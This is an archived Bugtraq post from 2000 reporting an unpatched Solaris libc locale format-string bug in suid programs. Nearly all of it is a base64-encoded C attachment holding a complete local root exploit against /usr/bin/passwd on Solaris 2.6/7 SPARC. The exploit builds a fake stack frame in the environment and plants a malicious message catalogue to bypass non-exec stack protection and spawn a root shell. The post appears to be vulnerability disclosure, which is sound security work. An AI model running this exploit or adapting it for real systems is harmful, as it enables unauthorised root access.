[17646] in bugtraq
Solaris libc locale bug exploit against non-exec stack
daemon@ATHENA.MIT.EDU (Warning3)
Tue Nov 14 10:43:35 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=====_Dragon372660041772_====="
Message-Id: <200011141133.TAA26893@intra.nsfocus.com>
Date: Tue, 14 Nov 2000 19:27:25 +0800
Reply-To: warning3@mail.com
From: Warning3 <warning3@MAIL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
--=====_Dragon372660041772_=====
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
It seems Sun hasn't supplied the patch for libc locale bug yet.
Many suid programs are affected by this bug, e.g. passwd, eject ,login,
ping, rcp, etc. It is not enough just drop the "eject"'s suid bit.
You are not also safe even if you have enabled non-exec stack protection.
Attachment is the exploit against "/usr/bin/passwd" in Solaris 2.6/7
(SPARC) with non-exec stack protection.
regards,
warning3
--=====_Dragon372660041772_=====
Content-Type: application/octet-stream; name="local_nonexec_sun.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="local_nonexec_sun.c"
LyogZXhwbG9pdCBmb3IgbG9jYWxlIHN1YnN5c3RlbSBmb3JtYXQgc3RyaW5ncyBidWcgSW4gU29s
YXJpcyB3aXRoIG5vZXhlYyBzdGFjay4NCiAqIFRlc3RlZCBpbiBTb2xhcmlzIDIuNi83LjAgKElm
IGl0IHdvbnQgd29yaywgdHJ5IGFkanVzdCByZXRsb2Mgb2Zmc2V0LiBlLmcuIA0KICogLi9leCAt
byAtNCApDQogKg0KICogJGdjYyAtbyBleCBleC5jIGBsZGQgL3Vzci9iaW4vcGFzc3dkfHNlZCAt
ZSAncy9eLmxpYlwoW18wLTlhLXpBLVpdKlwpXC5zby4qLy1sXDEvJ2ANCiAqIHVzYWdlczogLi9l
eCAtaA0KICoNCiAqIFRoYW5rcyBmb3IgSXZhbiBBcmNlIDxpYXJjZUBjb3JlLXNkaS5jb20+IHdo
byBmb3VuZCB0aGlzIGJ1Zy4NCiAqIFRoYW5rcyBmb3IgaG9yaXpvbidzIGdyZWF0IGFydGljbGUg
YWJvdXQgZGVmZWF0aW5nIG5vZXhlYyBzdGFjayBmb3IgU29sYXJpcy4NCiAqDQogKiBUSElTIENP
REUgSVMgRk9SIEVEVUNBVElPTkFMIFBVUlBPU0UgT05MWSBBTkQgU0hPVUxEIE5PVCBCRSBSVU4g
SU4NCiAqIEFOWSBIT1NUIFdJVEhPVVQgUEVSTUlTU0lPTiBGUk9NIFRIRSBTWVNURU0gQURNSU5J
U1RSQVRPUi4NCiAqDQogKiAgICAgICAgICAgYnkgd2FybmluZzNAbnNmb2N1cy5jb20gKGh0dHA6
Ly93d3cubnNmb2N1cy5jb20pDQogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICB5MmsvMTEvMTANCiAqLw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx1bmlzdGQu
aD4NCiNpbmNsdWRlIDxzeXMvc3lzdGVtaW5mby5oPg0KI2luY2x1ZGUgPGZjbnRsLmg+DQojaW5j
bHVkZSA8ZGxmY24uaD4NCg0KI2RlZmluZSBCVUZTSVpFIDIwNDggICAgICAgICAgICAgICAgICAg
IC8qIHRoZSBzaXplIG9mIGZvcm1hdCBzdHJpbmcgYnVmZmVyKi8NCiNkZWZpbmUgQlVGRiAgICAx
MjggICAgICAgICAgICAgICAgICAgICAvKiB0aGUgcHJvZ25hbWUgYnVmZmVyIHNpemUgKi8NCiNk
ZWZpbmUgU0hFTEwgICAiL2Jpbi9rc2giICAgICAgICAgICAgICAvKiBzaGVsbCBuYW1lICovDQoj
ZGVmaW5lIERFRkFVTFRfTlVNIDY4ICAgICAgICAgICAgICAgICAgLyogZm9ybWF0IHN0cmluZ3Mg
bnVtYmVyICovDQojZGVmaW5lIERFRkFVTFRfUkVUTE9DIDB4ZmZiZWZiNDQgICAgICAgLyogZGVm
YXVsdCByZXRsb2MgYWRkcmVzcyAqLw0KI2RlZmluZSBWVUxQUk9HICAiL3Vzci9iaW4vcGFzc3dk
IiAgICAgIC8qIHZ1bG5lcmFibGUgcHJvZ3JhbSBuYW1lICovDQoNCg0KDQp2b2lkIHVzYWdlcyhj
aGFyICpwcm9nbmFtZSkNCnsNCg0KICAgICAgICBpbnQgaTsNCiAgICAgICAgcHJpbnRmKCJVc2Fn
ZTogJXMgXG4iLCBwcm9nbmFtZSk7DQogICAgICAgIHByaW50ZigiICAgICAgICAgIFstaF0gICAg
ICAgICAgICAgSGVscCBtZW51XG4iKTsNCiAgICAgICAgcHJpbnRmKCIgICAgICAgICAgWy1uIG51
bWJlcl0gICAgICBmb3JtYXQgc3RyaW5nJ3MgbnVtYmVyXG4iKTsNCiAgICAgICAgcHJpbnRmKCIg
ICAgICAgICAgWy1hIGFsaWduXSAgICAgICByZXRsb2MgYnVmZmVyIGFsaWdubWVudFxuIik7DQog
ICAgICAgIHByaW50ZigiICAgICAgICAgIFstbyBvZmZzZXRdICAgICAgcmV0bG9jIG9mZnNldFxu
XG4iKTsNCg0KfQ0KDQovKiBnZXQgY3VycmVudCBzdGFjayBwb2ludCBhZGRyZXNzIHRvIGd1ZXNz
IFJldHVybiBhZGRyZXNzICovDQpsb25nIGdldF9zcCh2b2lkKQ0KDQogew0KICAgICAgICBfX2Fz
bV9fKCJtb3YgJXNwLCVpMCIpOw0KIH0NCg0KDQptYWluKCBpbnQgYXJnYywgY2hhciAqKmFyZ3Yg
KQ0KDQogew0KDQogICAgICAgIGNoYXIgKnBhdHRlcm4sIHJldGxvY2J1ZltCVUZGXSwgKmVudlsx
MV07DQogICAgICAgIGNoYXIgcGxhdFtCVUZGXSwgKnB0cjsNCiAgICAgICAgbG9uZyBzaF9hZGRy
LCBzcF9hZGRyLCBpOw0KICAgICAgICBsb25nIHJldGxvYyA9IERFRkFVTFRfUkVUTE9DLCBudW0g
PSBERUZBVUxUX05VTSwgIGFsaWduID0gMCwgb2Zmc2V0PTA7DQogICAgICAgIGxvbmcgICphZGRy
cHRyOw0KICAgICAgICBsb25nIHJldGgsIHJldGwsIHJldGgxLCByZXRsMTsNCiAgICAgICAgRklM
RSAqZnA7DQogICAgICAgIA0KDQogICAgICAgIGV4dGVybiBpbnQgb3B0aW5kLCBvcHRlcnI7DQog
ICAgICAgIGV4dGVybiBjaGFyICpvcHRhcmc7DQogICAgICAgIGludCBvcHQ7DQoNCiAgICAgICAg
dm9pZCAqaGFuZGxlOw0KICAgICAgICBsb25nIGV4ZWNsX2FkZHIsIGZwX2FkZHIsIGZwMV9hZGRy
Ow0KICAgICAgICBjaGFyIGZha2VmcmFtZVs1MTJdOw0KICAgICAgICBjaGFyIHBhZGRpbmdbNjRd
LCBwYWQgPSAwOw0KICAgICAgICBpbnQgZW52X2xlbiwgYXJnX2xlbiwgbGVuOw0KDQogICAgICAg
IGNoYXIgcHJvZ25hbWVbQlVGRl07DQoNCg0KICAgICAgICBzdHJuY3B5KHByb2duYW1lLCBhcmd2
WzBdLCBCVUZGLTEpOw0KDQogICAgICAgIHdoaWxlICgob3B0ID0gZ2V0b3B0KGFyZ2MsIGFyZ3Ys
ICJuOmE6bzpoIikpICE9IC0xKQ0KICAgICAgICAgICAgICAgIHN3aXRjaCgoY2hhcilvcHQpDQog
ICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICduJzoNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbnVtID0gYXRvaShvcHRhcmcpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAgICAgICAgICAg
ICAgY2FzZSAnYSc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsaWduID0gYXRv
aShvcHRhcmcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGNhc2UgJ28nOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBvZmZzZXQgPSBhdG9pKG9wdGFyZyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnPyc6DQogICAgICAgICAg
ICAgICAgICAgICAgICBjYXNlICdoJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzYWdlcyhwcm9nbmFtZSk7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoMCk7DQogICAgICAgICAgICAgICAgfQ0K
DQogICAgICAgIHJldGxvYyArPSAgb2Zmc2V0Ow0KICAgICAgICANCiAgICAgICAgLyogZ2V0IHBs
YXRmb3JtIGluZm8gICovDQogICAgICAgIHN5c2luZm8oU0lfUExBVEZPUk0scGxhdCwyNTYpOw0K
DQogICAgICAgIC8qIENvbnN0cnVjdCBmYWtlIGZyYW1lIGluIGVudmlyb24gKi8NCiAgICAgICAg
DQogICAgICAgIGVudlswXSA9ICJOTFNQQVRIPTouIjsNCiAgICAgICAgZW52WzFdID0gcGFkZGlu
ZzsgICAgICAvKiBwYWRkaW5nIHNvIHRoYXQgZmFrZWZyYW1lJ3MgYWRkcmVzcyBjYW4gYmUgZGl2
aWRlZCBieSA0ICovDQogICAgICAgIC8qIHNoX2FkZHJ8c2hfYWRkcnwweDAwMDAwMDAwfGZwMnxm
cDJ8ZnAyfGZwMnxmcDJ8MHgwMHwvYmluL2tzaHwweDAwICovDQogICAgICAgIGVudlsyXT0oZmFr
ZWZyYW1lKTsgICAgIC8qIHNoX2FkZHJ8c2hfYWRkcnwweDAwICAgICAgICAgICAgICAgICAgICAg
ICAqLw0KICAgICAgICBlbnZbM109JihmYWtlZnJhbWVbNDBdKTsvKiAgICAgICAgICAgICAgICAg
ICAgIHwweDAwICAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgZW52WzRdPSYoZmFrZWZyYW1l
WzQwXSk7LyogICAgICAgICAgICAgICAgICAgICAgICAgIHwweDAwICAgICAgICAgICAgICovDQog
ICAgICAgIGVudls1XT0mKGZha2VmcmFtZVs0MF0pOy8qICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHwweDAwICAgICAgICAqLw0KICAgICAgICBlbnZbNl09JihmYWtlZnJhbWVbNDRdKTsv
KiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxmcDJ8ZnAyfGZwMnxmcDJ8ZnAy
Ki8NCiAgICAgICAgZW52WzddPVNIRUxMOyAgICAgICAgICAgLyogc2hlbGwgc3RyaW5ncyAqLw0K
ICAgICAgICBlbnZbOF09TlVMTDsNCg0KICAgICAgICAvKiBjYWxjdWxhdGUgdGhlIGxlbmd0aCBv
ZiAiVlVMUFJPRyIgKyBhcmd2WzFdICovDQogICAgICAgIGFyZ19sZW4gPSBzdHJsZW4oVlVMUFJP
RykgKyBzdHJsZW4oIi16IikgKyAyOw0KDQogICAgICAgIC8qIGNhbGN1bGF0ZSB0aGUgcGFkIG51
bW1iZXIgLg0KICAgICAgICAgKiBXZSBtYW5hZ2UgdG8gbGV0IHRoZSBsZW5ndGggb2YgcGFkZGlu
ZyArIGFyZ19sZW4gKyAiTkxTUEFUSD0uIiBjYW4NCiAgICAgICAgICogYmUgZGl2aWRlZCBieSA0
LiBTbyBmYWtlZnJhbWUgYWRkcmVzcyBpcyBhbGlnbmVkIHdpdGggNCwgb3RoZXJ3aXNlDQogICAg
ICAgICAqIHRoZSBleHBsb2l0IHdvbid0IHdvcmsuDQogICAgICAgICAqLw0KICAgICAgICBwYWQg
PSAzIC0gKGFyZ19sZW4gKyBzdHJsZW4oZW52WzBdKSArMSklNDsNCiAgICAgICAgbWVtc2V0KHBh
ZGRpbmcsICdBJywgcGFkKTsNCiAgICAgICAgcGFkZGluZ1twYWRdID0gJ1wwJzsNCg0KICAgICAg
ICAvKiBnZXQgZW52aXJvbiBsZW5ndGggKi8NCiAgICAgICAgZW52X2xlbiA9IDA7IA0KICAgICAg
ICBmb3IoaSA9IDAgOyBpIDwgOCA7IGkrKyApDQogICAgICAgICAgIGVudl9sZW4gKz0gc3RybGVu
KGVudltpXSkgKyAxOw0KDQogICAgICAgICANCiAgICAgICAvKiBnZXQgdGhlIGxlbmd0aCBmcm9t
IGFyZ3ZbMF0gdG8gc3RhY2sgYm90dG9tIA0KICAgICAgICAqICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICogKy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLSstLS0tLS0tLSstLS0tLS0tLS0tLSstLS0tLS0tLSsN
CiAgICAgICAgKiB8YXJndlswXWFyZ3ZbMV0uLi5hcmd2W25dfGVudjAuLi5lbnZufHBsYXRmb3Jt
fHByb2dyYW1uYW1lfDAwMDAwMDAwfA0KICAgICAgICAqICstLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0rLS0tLS0tLS0tLS0rLS0tLS0tLS0rLS0tLS0tLS0tLS0rLS0tLS0tLS0rDQogICAgICAgICog
XiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IF4gDQogICAgICAgICogfF9fc3RhcnRhZGRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHxfX3NwX2FkZHIgDQogICAgICAgICoNCiAgICAgICAgKiAic3BfYWRk
ciIgPSAweGZmYmVmZmZjKFNvbGFyaXMgNy84KSBvciAweGVmZmZmZmZjKFNvbGFyaXMgMi42KQ0K
ICAgICAgICAqDQogICAgICAgICogIEkgZmluZCAic3RhcnRhZGRyIiBhbHdheXMgY2FuIGJlIGRp
dmlkZWQgYnkgNC4NCiAgICAgICAgKiAgU28gd2UgY2FuIGFkanVzdCB0aGUgcGFkZGluZydzIHNp
emUgdG8gbGV0IHRoZSBmYWtlZnJhbWUgYWRkcmVzcw0KICAgICAgICAqICBjYW4gYmUgYWxpZ25l
ZCB3aXRoIDQuDQogICAgICAgICoNCiAgICAgICAgKiBsZW4gPSBsZW5ndGggb2YgImFyZ3YiICsg
ImVudiIgKyAicGxhdGZvcm0iICsgInByb2dyYW0gbmFtZSIgDQogICAgICAgICogaWYgKGxlbiU0
KSE9MCwgc3BfYWRkciAtIHN0YXJ0YWRkciA9ICAobGVuLzQpKjQgKyA0DQogICAgICAgICogaWYg
KGxlbiU0KT09MCwgc3BfYWRkciAtIHN0YXJ0YWRkciA9ICBsZW4NCiAgICAgICAgKiBTbyB3ZSBj
YW4gZ2V0IGV2ZXJ5IGVudHJ5J3MgYWRkcmVzcyBwcmVjaXNlbHkgYmFzZWQgb24gc3RhcnRhZGRy
IG9yIHNwX2FkZHIuDQogICAgICAgICogTm93IHdlIHdvbid0IGJlIGJvcmVkIHdpdGggZ3Vlc3Np
bmcgdGhlIGFsaWdubWVudCBhbmQgb2Zmc2V0LjopDQogICAgICAgICovDQogICAgICAgbGVuID0g
YXJnX2xlbiArIGVudl9sZW4gKyBzdHJsZW4ocGxhdCkgKyAxIA0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICsgc3RybGVuKFZVTFBST0cpICsgMTsNCiAgICAgICBwcmludGYoImxlbiA9
ICUjeFxuIiwgbGVuKTsNCg0KICAgICAgIC8qIGdldCBzdGFjayBib3R0b20gYWRkcmVzcyAqLw0K
DQogICAgICAgc3BfYWRkciA9IChnZXRfc3AoKSB8IDB4ZmZmZikgJiAweGZmZmZmZmZjOw0KDQog
ICAgICAgIC8qIGZwMV9hZGRyIG11c3QgYmUgdmFsaWQgc3RhY2sgYWRkcmVzcyAqLw0KICAgICAg
ICBmcDFfYWRkciA9IChzcF9hZGRyICYgMHhmZmZmZmFjMCk7DQoNCiAgICAgICAgLyogZ2V0IHNo
ZWxsIHN0cmluZyBhZGRyZXNzICovDQogICAgICAgIHNoX2FkZHIgPSAgc3BfYWRkciAtICg0IC0g
bGVuJTQpIC8qIHRoZSB0cmFpbGluZyB6ZXJvIG51bWJlciAqLw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgLSBzdHJsZW4oVlVMUFJPRykgLSBzdHJsZW4ocGxhdCkgIC0gc3RybGVuKFNIRUxM
KSAtIDMgOw0KDQogICAgICAgICBwcmludGYoIlNIRUxMIGFkZHJlc3MgPSAlI3hcbiIsIHNoX2Fk
ZHIpOw0KICAgICAgICAgDQogICAgICAgIC8qIGdldCBvdXIgZmFrZSBmcmFtZSBhZGRyZXNzICov
DQogICAgICAgIGZwX2FkZHIgPSBzaF9hZGRyIC0gOCo4IC0gMTsNCg0KICAgICAgICAvKiBnZXQg
ZXhlY2woKSBhZGRyZXNzICovDQogICAgICAgIGlmICghKGhhbmRsZT1kbG9wZW4oTlVMTCxSVExE
X0xBWlkpKSkNCiAgICAgICAgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0K
ICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJDYW4ndCBkbG9wZW4gbXlzZWxmLlxuIik7DQogICAg
ICAgICAgZXhpdCgxKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoKGV4ZWNsX2FkZHI9KGxvbmcp
ZGxzeW0oaGFuZGxlLCJleGVjbCIpKT09TlVMTCkNCiAgICAgICAgew0KICAgICAgICAgIGZwcmlu
dGYoc3RkZXJyLCJDYW4ndCBmaW5kIGV4ZWNsKCkuXG4iKTsNCiAgICAgICAgICBleGl0KDEpOw0K
ICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAg
ICAgICAgICAgICANCiAgICAgICAgLyogZGVjIDQgdG8gc2tpcCB0aGUgJ3NhdmUnIGluc3RydWN0
dXJlICovDQogICAgICAgIGV4ZWNsX2FkZHIgLT0gNDsNCiAgICAgICAgDQogICAgICAgIC8qIGNo
ZWNrIGlmIHRoZSBleGVjIGFkZHIgaW5jbHVkZXMgemVybyAgKi8NCiAgICAgICAgaWYgKCEoZXhl
Y2xfYWRkciAmIDB4ZmYpIHx8ICEoZXhlY2xfYWRkciAqIDB4ZmYwMCkgfHwNCiAgICAgICAgICAh
KGV4ZWNsX2FkZHIgJiAweGZmMDAwMCkgfHwgIShleGVjbF9hZGRyICYgMHhmZjAwMDAwMCkpDQog
ICAgICAgIHsNCiAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwidGhlIGFkZHJlc3Mgb2YgZXhlY2wo
KSBjb250YWlucyBhICcwJy4gc29ycnkuXG4iKTsNCiAgICAgICAgICBleGl0KDEpOw0KICAgICAg
ICB9DQoNCiAgICAgICAgcHJpbnRmKCJVc2luZyBleGVjbCgpIGFkZHJlc3MgOiAlI3hcbiIsZXhl
Y2xfYWRkcik7DQoNCiAgICAgICAgLyogbm93IHdlIHNldCB1cCBvdXIgZmFrZSBzdGFjayBmcmFt
ZSAqLw0KDQogICAgICAgIGFkZHJwdHI9KGxvbmcgKilmYWtlZnJhbWU7DQoNCiAgICAgICAgKmFk
ZHJwdHIrKz0gMHgxMjM0NTY3ODsgLyogeW91IGNhbiBwdXQgYW55IGRhdGEgaW4gIGxvY2FsIHJl
Z2lzdGVycyAqLw0KICAgICAgICAqYWRkcnB0cisrPSAweDEyMzQ1Njc4Ow0KICAgICAgICAqYWRk
cnB0cisrPSAweDEyMzQ1Njc4Ow0KICAgICAgICAqYWRkcnB0cisrPSAweDEyMzQ1Njc4Ow0KICAg
ICAgICAqYWRkcnB0cisrPSAweDEyMzQ1Njc4Ow0KICAgICAgICAqYWRkcnB0cisrPSAweDEyMzQ1
Njc4Ow0KICAgICAgICAqYWRkcnB0cisrPSAweDEyMzQ1Njc4Ow0KICAgICAgICAqYWRkcnB0cisr
PSAweDEyMzQ1Njc4Ow0KDQogICAgICAgICphZGRycHRyKys9c2hfYWRkcjsgICAgICAvKiBwb2lu
dHMgdG8gb3VyIHN0cmluZyB0byBleGVjICovDQogICAgICAgICphZGRycHRyKys9c2hfYWRkcjsg
ICAgICAvKiBhcmd2WzFdIGlzIGEgY29weSBvZiBhcmd2WzBdICovDQogICAgICAgICphZGRycHRy
Kys9MHgwOyAgICAgICAgICAvKiBOVUxMIGZvciBleGVjbCgpOyAgJmZha2VmcmFtZVs0MF0gKi8N
CiAgICAgICAgKmFkZHJwdHIrKz1mcDFfYWRkcjsgICAgIC8qICZmYWtlZnJhbWVbNDRdICovDQog
ICAgICAgICphZGRycHRyKys9ZnAxX2FkZHI7DQogICAgICAgICphZGRycHRyKys9ZnAxX2FkZHI7
DQogICAgICAgICphZGRycHRyKys9ZnAxX2FkZHI7ICAgICAvKiB3ZSBuZWVkIHRoaXMgYWRkcmVz
cyB0byB3b3JrICAqLw0KICAgICAgICAqYWRkcnB0cisrPWZwMV9hZGRyOyAvKiBjYXVzZSB3ZSBk
b24ndCBuZWVkIGV4ZWMgYW5vdGhlciBmdW5jLHNvIHB1dCBnYXJiYWdlIGhlcmUgKi8NCg0KICAg
ICAgICAqYWRkcnB0cisrPTB4MDsNCiAgICAgICAgLyogZ2V0IGNvcnJlY3QgcmV0bG9jIGluIHNv
bGFyaXMgMi42KDB4ZWZmZnh4eHgpIGFuZCBzb2xhcmlzIDcvOCAoMHhmZmJleHh4eCkgKi8NCiAg
ICAgICAgcmV0bG9jID0gKGdldF9zcCgpJjB4ZmZmZjAwMDApICsgKHJldGxvYyAmIDB4MDAwMGZm
ZmYpOw0KDQogICAgICAgIHByaW50ZigiVXNpbmcgUkVUbG9jIGFkZHJlc3MgPSAweCV4LCAgZnBf
YWRkciA9IDB4JXggICxhbGlnbj0gJWRcbiIsIHJldGxvYywgZnBfYWRkciwgYWxpZ24gKTsNCg0K
ICAgICAgICAvKiBMZXQncyBtYWtlIHJlbG9jIGJ1ZmZlcjogfEFBQUF8cmV0bG9jLTR8QUFBQXxy
ZXRsb2MtMnxBQUFBfHJldGxvY3xBQUFBfHJldGxvYysyfCovDQoNCiAgICAgICBhZGRycHRyID0g
KGxvbmcgKilyZXRsb2NidWY7DQogICAgICAgIGZvciggaSA9IDAgOyBpIDwgOCA7IGkgKysgKQ0K
ICAgICAgICAgICAgKihhZGRycHRyICsgaSkgPSAweDQxNDE0MTQxOw0KICAgICAgICAqKGFkZHJw
dHIgKyAxKSA9IHJldGxvYyAtIDQ7DQogICAgICAgICooYWRkcnB0ciArIDMpID0gcmV0bG9jIC0g
MjsNCiAgICAgICAgKihhZGRycHRyICsgNSkgPSByZXRsb2MgOw0KICAgICAgICAqKGFkZHJwdHIg
KyA3KSA9IHJldGxvYyArIDI7DQoNCiAgICAgICAgaWYoKHBhdHRlcm4gPSAoY2hhciAqKW1hbGxv
YyhCVUZTSVpFKSkgPT0gTlVMTCkgew0KICAgICAgICAgICBwcmludGYoIkNhbid0IGdldCBlbm91
Z2ggbWVtb3J5IVxuIik7DQogICAgICAgICAgIGV4aXQoLTEpOw0KICAgICAgICB9DQoNCiAgICAg
ICAgLyogTGV0J3MgbWFrZSBmb3JtYXRzIHN0cmluZyBidWZmZXI6IA0KICAgICAgICAgKiB8QS4u
QUFBQUFBQUFBQUFBfCUuOHguLi4ufCUoZnAxKWMlaG4lKGZwMiklaG4lKGV4ZWNsMSljJWhuJShl
eGVjbDIpJWhufCAgDQogICAgICAgICAqLw0KICAgICAgICBwdHIgPSBwYXR0ZXJuOw0KICAgICAg
ICBtZW1zZXQocHRyLCAnQScsIDMyKTsNCiAgICAgICAgcHRyICs9IDMyOw0KDQogICAgICAgIGZv
cihpID0gMCA7IGkgPCBudW0gOyBpKysgKXsNCiAgICAgICAgICAgbWVtY3B5KHB0ciwgIiUuOHgi
LCA0KTsNCiAgICAgICAgICAgcHRyICs9IDQ7DQogICAgICAgIH0NCg0KICAgICAgICByZXRoID0g
KGZwX2FkZHIgPj4gMTYpICYgMHhmZmZmIDsNCiAgICAgICAgcmV0bCA9IChmcF9hZGRyID4+ICAw
KSAmIDB4ZmZmZiA7DQogICAgICAgIHJldGgxID0gKGV4ZWNsX2FkZHIgPj4gMTYpICYgMHhmZmZm
IDsNCiAgICAgICAgcmV0bDEgPSAoZXhlY2xfYWRkciA+PiAgMCkgJiAweGZmZmYgOw0KICAgICAg
ICANCg0KICAgICAgICAvKiBCaWcgZW5kaWFuIGFyY2ggKi8NCiAgICAgICAgc3ByaW50ZihwdHIs
ICIlJSV1YyUlaG4lJSV1YyUlaG4lJSV1YyUlaG4lJSV1YyUlaG4iLA0KICAgICAgICAgICAgIChy
ZXRoIC0gbnVtKjggLTQqOCArIGFsaWduICksICgweDEwMDAwICsgIHJldGwgLSByZXRoKSwNCiAg
ICAgICAgICAgICAoMHgyMDAwMCArIHJldGgxIC0gcmV0bCksICgweDMwMDAwICsgcmV0bDEgLSBy
ZXRoMSkpOw0KDQogICAgICAgIGlmKCAhKGZwID0gZm9wZW4oIm1lc3NhZ2VzLnBvIiwgIncrIikp
KQ0KICAgICAgICB7DQogICAgICAgICAgIHBlcnJvcigiZm9wZW4iKTsNCiAgICAgICAgICAgZXhp
dCgxKTsNCiAgICAgICAgfQ0KICAgICAgICBmcHJpbnRmKGZwLCJkb21haW4gXCJtZXNzYWdlc1wi
XG4iKTsNCiAgICAgICAgZnByaW50ZihmcCwibXNnaWQgIFwiJSVzOiBpbGxlZ2FsIG9wdGlvbiAt
LSAlJWNcXG5cIlxuIik7DQogICAgICAgIGZwcmludGYoZnAsIm1zZ3N0ciBcIiVzXFxuXCIiLCBw
YXR0ZXJuICsgYWxpZ24pOw0KICAgICAgICBmY2xvc2UoZnApOw0KICAgICAgICBzeXN0ZW0oIi91
c3IvYmluL21zZ2ZtdCAtbyBTVU5XX09TVF9PU0xJQiBtZXNzYWdlcy5wbyIpOw0KDQogICAgICAg
IC8qIHRoYW5rcyBmb3IgejMzZCdzIGlkZWEuIA0KICAgICAgICAgKiBJdCBzZWVtcyB3ZSBoYXZl
IHRvIGRvIGxpa2UgdGhpcyBpbiBTb2xhcmlzIDguDQogICAgICAgICAqLw0KICAgICAgICBpPW9w
ZW4oIi4vU1VOV19PU1RfT1NMSUIiLE9fUkRXUik7DQogICAgICAgIC8qIGxvY2F0ZSB0aGUgc3Rh
cnQgcG9zaXRpb24gb2YgZm9ybWF0cyBzdHJpbmdzIGluIGJpbmFyeSBmaWxlKi8NCiAgICAgICAg
bHNlZWsoaSwgNjIsIFNFRUtfU0VUKTsNCiAgICAgICAgLyogcmVwbGFjZSB0aGUgc3RhcnQgYnl0
ZXMgd2l0aCBvdXIgcmV0bG9jYnVmICovDQogICAgICAgIHdyaXRlKGksIHJldGxvY2J1ZiArIGFs
aWduLCAzMiAtIGFsaWduKTsNCiAgICAgICAgY2xvc2UoaSk7DQoNCiAgICAgICBleGVjbGUoVlVM
UFJPRywgVlVMUFJPRywgIi16IiwgTlVMTCwgZW52KTsNCn0gIC8qIGVuZCBvZiBtYWluICovDQoN
Cg==
--=====_Dragon372660041772_=====--
